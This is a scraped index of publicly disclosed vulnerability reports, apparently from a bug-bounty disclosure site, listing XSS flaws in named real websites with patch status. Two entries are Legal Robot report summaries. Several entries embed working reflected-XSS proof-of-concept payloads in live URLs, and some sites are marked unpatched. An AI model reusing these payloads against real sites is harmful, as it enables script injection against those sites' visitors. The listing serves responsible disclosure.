banglalink.net XSS vulnerability

Vulnerable URL: https://www.banglalink.net/en/search/node//%22'--!%3E%3CImage%20SrcSet=K%20OnError=confirm'OPENBUGBOUNTY'%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 46427 VI...

simsng.com XSS vulnerability

Vulnerable URL: http://simsng.com/product//search?search="...

loveread.me XSS vulnerability

Vulnerable URL: http://loveread.me/search.php?cx=partner-pub-5481960811500074:3977310822=FORID:10=utf-8=...

tradertest.org XSS vulnerability

Vulnerable URL: http://tradertest.org/testmath.php?quickselect=...

k6-medien.de XSS vulnerability

Vulnerable URL: http://www.k6-medien.de/suche.php Details: Description| Value ---|--- Patched:| Yes, at 18.08.2017 Latest check for patch:| 18.08.2017 09:45 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2032234 VIP website status:| No Check k6-medien.de SSL...

klima-sucht-schutz.de XSS vulnerability

Vulnerable URL: https://www.klima-sucht-schutz.de/service/newsletter/ Details: Description| Value ---|--- Patched:| Yes, at 18.09.2017 Latest check for patch:| 18.09.2017 09:57 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 523108 VIP website status:| No Check...

ipcb.pt XSS vulnerability

Vulnerable URL: http://www.ipcb.pt/search/node/%22/%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 15.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 279729...

shop.lrworld.com XSS vulnerability

Vulnerable URL: https://shop.lrworld.com/search/%3Csvg%20onload=alert%22OPENBUGBOUNTY%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 15.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

chronopost.fr XSS vulnerability

Vulnerable URL: http://www.chronopost.fr/tracking-no-cms/suivi-page?listeNumerosLT=%22confirm%27openbugbounty%27%22=frFR Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 14310 VIP website status:| Yes Check...

webstatsdomain.org XSS vulnerability

Vulnerable URL: http://webstatsdomain.org/search//?q="...

deancenter.org XSS vulnerability

Vulnerable URL: http://deancenter.org/static/search.php?pas==aaaa"...

shotglassdetectives.guildlaunch.com XSS vulnerability

Vulnerable URL: https://shotglassdetectives.guildlaunch.com/recruiting/login.php?destination=INFOSEC.COM.BR"'- -! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

ballistic-area52.com XSS vulnerability

Vulnerable URL: http://www.ballistic-area52.com/recruiting/login.php?destination=test"'- -! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

icedearthguild.com XSS vulnerability

Vulnerable URL: http://www.icedearthguild.com/recruiting/login.php?destination=test"'- -! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status...

wwwfr.uni.lu XSS vulnerability

Vulnerable URL: https://wwwfr.uni.lu/recherche/unitescentresderecherche/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

jkrishnamurti.com XSS vulnerability

Vulnerable URL: http://www.jkrishnamurti.com/krishnamurti-teachings/search-result-advanced.php?searchinput=freedom"'--! Details: Description| Value ---|--- Patched:| Yes, at 21.11.2017 Latest check for patch:| 21.11.2017 19:09 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

Legal Robot: No length limit in invite_code can cause server degradation

Hi Team, I get to know that in every field is secured by restricted limit by length, but, i can see that one place where you forget to add that security feature , which can cause server degradation. https://app.legalrobot-uat.com/dmca-safe-harbor Here, i can see feature to add invite-code , but i...

laposte.fr XSS vulnerability

Vulnerable URL: https://www.laposte.fr/handlers/widget/widgetstracker.php?app=Horloge=FR=%22%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1607 V...

Legal Robot: Update any profile

A security researcher discovered that profile fields first name, last name, title, company, bio could be modified by another authenticated user, if the other user had access to the victim's randomly generated user id. Thanks to @samczsun for an excellent and detailed report!...

goodav17.com XSS vulnerability

Vulnerable URL: http://goodav17.com/search/%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E%20/10/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 13.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 28781 VIP website...